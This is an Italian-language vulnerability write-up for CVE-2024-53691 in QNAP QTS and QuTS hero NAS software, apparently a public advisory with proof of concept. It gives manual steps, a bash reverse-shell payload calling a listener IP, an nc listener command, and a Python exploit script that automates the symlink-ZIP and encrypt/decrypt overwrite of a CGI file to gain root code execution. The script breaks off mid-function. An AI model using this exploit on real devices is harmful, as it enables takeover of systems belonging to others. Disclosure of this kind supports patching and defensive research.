
CVE-2024-53691
"Se sfruttata, la vulnerabilità di link following potrebbe consentire ad attaccanti remoti che hanno ottenuto accesso utente di attraversare il filesystem verso posizioni non autorizzate."
Data di scoperta: 22 Aprile 2024
Data di correzione: 7 Settembre 2024
Versione(i) interessata(e): QTS 5.1.x, QuTS hero h5.1.x
Versione(i) corretta(e): QTS 5.2.0.2802 build 20240620 e successive, QuTS hero h5.2.0.2802 build 20240620 e successive
Permessi di accesso: Utente normale con permesso di caricamento file
Sommario:
È possibile caricare un symlink tramite un file ZIP e abusare della funzione di crittografia/decifratura per ottenere una primitiva di scrittura arbitraria di file che può essere trasformata in esecuzione di codice remoto.
Un attaccante con privilegi di utente normale può sfruttare la vulnerabilità per ottenere esecuzione di codice come utente root e compromettere completamente il sistema.
Creare un collegamento simbolico e inserirlo in un file ZIP. La destinazione del symlink specifica quale file verrà sovrascritto. Per ottenere esecuzione di codice remoto è stato scelto /home/httpd/cgi-bin/restore_config.cgi.
ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
zip --symlink pwn.zip link.txt
Scrivere i comandi shell che verranno eseguiti in payload.txt. Nell'esempio viene utilizzata una reverse shell bash standard. Non dimenticare di regolare l'IP e la porta del listener.
#!/bin/sh
bash -c "bash -i >& /dev/tcp/192.168.178.142/4444 0>&1" &
. /home/httpd/cgi-bin/json_output
output_http_header
output_header
output_save_restore
output_tail
Effettuare il login come utente con pochi privilegi.
Caricare il file ZIP tramite l'interfaccia web.
Estrarre il file ZIP facendo clic con il tasto destro e selezionando Estrai in /pwn/.
Caricare il file payload.txt in /pwn/payload.txt.

Crittografare il file payload.txt facendo clic con il tasto destro, selezionando Crittografa e impostando Vuoi crittografare e sostituire il file originale? su Sì.
Rinominare il file payload.txt.qenc in link.txt.qenc facendo clic con il tasto destro e selezionando Rinomina.
Decifrare il file link.txt.qenc facendo clic con il tasto destro, selezionando Decifra e impostando Modalità su Sovrascrivi.
Avviare il listener della reverse shell.
nc -nvlp 4444
Aprire l'endpoint /cgi-bin/restore_config.cgi nel browser per attivare l'esecuzione della reverse shell.

Il seguente script Python può essere utilizzato per sfruttare la vulnerabilità.
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3
# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
LISTENER_IP = '192.168.178.142'
LISTENER_PORT = 4444
PAYLOAD = f"""#!/bin/sh
bash -c "bash -i >& /dev/tcp/{LISTENER_IP}/{LISTENER_PORT} 0>&1" &
. /home/httpd/cgi-bin/json_output
output_http_header
output_header
output_save_restore
output_tail
"""
#DEBUG_PROXY = 'http://localhost:8080'
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def main() -> None:
session = Session()
#session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
session.verify = False
print('creating zip file')
os.system("""
rm -f link.txt pwn.zip payload.txt
ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
zip --symlink pwn.zip link.txt
""")
print('loggin in')
response = session.post(
f'{ENDPOINT}/cgi-bin/authLogin.cgi',
headers={'Content-type': 'application/x-www-form-urlencoded'},
data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
)
assert response.status_code == 200
match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
assert match
sid = match.group(1)
print('uploading zip file')
with open('pwn.zip', 'rb') as file:
upload_file(session, sid, 'pwn.zip', file.read())
print('unpacking zip file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/pwn'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
time.sleep(5)
print('uploading payload file')
upload_file(session, sid, 'pwn/payload.txt', str.encode(PAYLOAD))
print('encrypting payload file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=encrypt',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'passwd': 'test', 'dest_path': '/home', 'source_total': '1', 'source_path': '/home', 'source_file': 'pwn/payload.txt', 'mode': '0', 'keep': '1'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
print('renaming payload file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=rename&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'path': '/home/pwn', 'source_name': 'payload.txt.qenc', 'dest_name': 'link.txt.qenc'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] in (1, 2)
print('decrypting payload file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=decrypt',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'passwd': 'test', 'dest_path': '/home/pwn', 'source_total': '1', 'source_path': '/home/pwn', 'source_file': 'link.txt.qenc', 'mode': '0'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
time.sleep(1)
print('executing payload')
session.get(f'{ENDPOINT}/cgi-bin/restore_config.cgi')
def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
# get upload id
response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
assert response.status_code == 200
data = response.json()
upload_id = data['upload_id']
assert upload_id